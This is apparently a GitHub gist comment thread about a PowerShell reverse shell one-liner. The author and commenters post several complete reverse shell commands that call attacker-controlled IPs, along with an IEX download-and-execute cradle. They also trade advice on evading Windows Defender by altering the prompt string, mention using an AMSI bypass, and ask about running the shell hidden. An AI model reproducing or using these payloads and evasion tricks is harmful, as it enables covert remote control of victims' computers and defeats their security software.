powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok · G...

Yes it is working now! But how to obfuscate it?

Thanks Mate!

And where i can scan for the results of .ps1 file? It doesnt works on anti scan.me and nodistribute also doesnt works

Also it ran first time but second time it was detected.

Author

try this: powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.0.2.4:443/mypowershell.ps1')" @Vedant-Bhalgama

with your reverse shell looking like:

$client = New-Object System.Net.Sockets.TCPClient("10.0.2.4",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

you should get a shell on your Netcat listener on port 80

Author

if you want to evade Defender, you can replace "PS " + (pwd).Path + "> " with "#"

Yes! I am not using it for Non Ethical purposes bro! I am a Ethical Hacker and need this for pentensting purpose!

Script Is running now but it gives detection error
@egre55, What were you telling to replace? to evade defender? Can u do the changes in the code?

One way or the other this script can be a disaster this is the best way i run such script::::::::::::: make sure you add the powershell -nop -c followed:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attackerIP',attackerPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Which listener can be used for this? NetCat?

It got detected as MaliciousContent, Anything else? Should I try Obfuscation?

After executing it in PowerShell with IP and port changed but it is showing....... "new object exception calling ctor with 2 argument s connection attempt failed " what to do because I am not a PowerShell expert.
I run the netcat server in the Virtualbox

The Windows Defender action is triggerd by the "(pwd).Path" call in the code. Try running the following:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.100',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PSReverseShell# ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();"

Hi, Kindly check my fork.

Just a small change to the way commands are run to ensure any non-stdout text is sent back. (except for confirmation prompts).

Without this, due to the way in which the output of a command run by Invoke-Expression is handled, stderr output never gets sent back even with '2>&1' specified in your current format.

Thanks,

[vry nice )

i tried to run it silently by -WindowsStyle Hidden -NoLog but it not working , how can i run it silently

The Windows Defender action is triggerd by the "(pwd).Path" call in the code. Try running the following:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.100',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PSReverseShell# ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();"

This actually still works and doesn't trigger anything

Hi, can someone explain how this exactly works? Why is (pwd).Path triggers the antivirus. And is this reverse shell only available until a restart of the victim's pc? I didn't found any explanation online. Thanks in advance.

good job!
It detected AMSI. but I used amsi bypass script before this script running.so this script runs successfully!

Looks like the shell did not return stderr, is it possible to return stderr as well?

Author

hey @mappl3, feel free to add this in your fork and i'll update it ;) . you can also append 2>&1 to the end of a command to get stderr